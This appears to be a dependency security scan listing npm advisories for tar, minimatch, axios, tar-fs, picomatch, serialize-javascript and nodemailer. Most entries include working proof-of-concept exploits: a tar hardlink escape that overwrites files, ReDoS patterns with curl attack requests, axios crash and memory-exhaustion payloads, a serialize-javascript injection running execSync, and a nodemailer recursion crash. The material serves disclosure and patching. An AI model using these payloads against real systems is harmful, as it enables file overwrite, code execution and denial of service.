(npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. Details The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots. What happens with linkpath: "C:../target.txt": Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false. stripAbsolutePath() removes C: and rewrites the value to ../target.txt. Hardlink creation resolves this against extraction cwd and escapes one directory up. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives. PoC Tested on Arch Linux with tar@7.5.9. PoC script (poc.cjs): const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) Run: cd test-workspace node poc.cjs && ls -l ../target.txt Observed output: PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked. Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: CLI tools unpacking untrusted tarballs into a working directory build/update pipelines consuming third-party archives services that import user-supplied tar files

minimatch 10.2.2 (npm) pkg:npm/minimatch@10.2.2 Inefficient Regular Expression Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.017% EPSS Percentile 4th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 5th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

axios 1.8.4 (npm) pkg:npm/axios@1.8.4 Improper Check for Unusual or Exceptional Conditions Affected range >=1.0.0 <=1.13.4 Fixed version 1.13.5 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.051% EPSS Percentile 16th percentile Description Denial of Service via proto Key in mergeConfig Summary The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service. Details The vulnerability exists in lib/core/mergeConfig.js at lines 98-101: utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); When prop is '__proto__': JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property Object.keys() includes '__proto__' in the iteration mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object) The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype Object.prototype(...) throws TypeError: merge is not a function The mergeConfig function is called by: Axios._request() at lib/core/Axios.js:75 Axios.getUri() at lib/core/Axios.js:201 All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224 PoC import axios from "axios"; const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig); Reproduction steps: Clone axios repository or npm install axios Create file poc.mjs with the code above Run: node poc.mjs Observe the TypeError crash Verified output (axios 1.13.4): TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9) Control tests performed: Test Config Result Normal config {"timeout": 5000} SUCCESS Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH Nested object {"headers": {"X-Test": "value"}} SUCCESS Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}. Impact Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload. Affected environments: Node.js servers using axios for HTTP requests Any backend that passes parsed JSON to axios configuration This is NOT prototype pollution - the application crashes before any assignment occurs. Allocation of Resources Without Limits or Throttling Affected range >=1.0.0 <1.12.0 Fixed version 1.12.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.113% EPSS Percentile 30th percentile Description Summary When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'. Details The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob. Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs. PoC const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); Run with limited heap to force a crash: node --max-old-space-size=100 poc.js Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS. import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 * 1024, // Axios will ignore this for data: maxBodyLength: 8 * 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 * 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`); console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`); }); Run this app and send 3 post requests: SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null``` Suggestions Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

tar-fs 3.0.9 (npm) pkg:npm/tar-fs@3.0.9 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=3.0.0 <3.1.1 Fixed version 3.1.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.030% EPSS Percentile 8th percentile Description Impact v3.1.0, v2.1.3, v1.16.5 and below Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Reported by: Mapta / BugBunny_ai

picomatch 2.3.1 (npm) pkg:npm/picomatch@2.3.1 Inefficient Regular Expression Complexity Affected range <2.3.2 Fixed version 2.3.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Impact picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include: disable extglob support for untrusted patterns by using noextglob: true reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *() enforce strict allowlists for accepted pattern syntax run matching in an isolated worker or separate process with time and resource limits apply application-level request throttling and input validation for any endpoint that accepts glob patterns Resources Picomatch repository: https://github.com/micromatch/picomatch lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms Comparable ReDoS precedent: CVE-2024-4067 (micromatch) Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

serialize-javascript 6.0.2 (npm) pkg:npm/serialize-javascript@6.0.2 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') Affected range <=7.0.2 Fixed version 7.0.3 CVSS Score 8.1 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Description Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString(). If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes. const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

nodemailer 6.10.1 (npm) pkg:npm/nodemailer@6.10.1 Improper Check or Handling of Exceptional Conditions Affected range <=7.0.10 Fixed version 7.0.11 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.086% EPSS Percentile 25th percentile Description Summary A DoS can occur that immediately halts the system due to the use of an unsafe function. Details According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js: https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90 there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header: g0: g1: g2: g3: ... gN: victim@example.com; Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern addressparser → _handleAddress → addressparser → ... for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service. The problematic code section is as follows: if (isGroup) { ... if (data.group.length) { let parsedGroup = addressparser(data.group.join(',')); // <- boom! parsedGroup.forEach(member => { if (member.group) { groupMembers = groupMembers.concat(member.group); } else { groupMembers.push(member); } }); } } data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number. PoC const nodemailer = require('nodemailer'); function buildDeepGroup(depth) { let parts = []; for (let i = 0; i < depth; i++) { parts.push(`g${i}:`); } return parts.join(' ') + ' user@example.com;'; } const DEPTH = 3000; // <- control depth const toHeader = buildDeepGroup(DEPTH); console.log('to header length:', toHeader.length); const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, newline: 'unix' }); console.log('parsing start'); transporter.sendMail( { from: 'test@example.com', to: toHeader, subject: 'test', text: 'test' }, (err, info) => { if (err) { console.error('error:', err); } else { console.log('finished :', info && info.envelope); } } ); As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately. Impact The attacker can achieve the following: Force an immediate crash of any server/service that uses Nodemailer Kill the backend process with a single web request In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

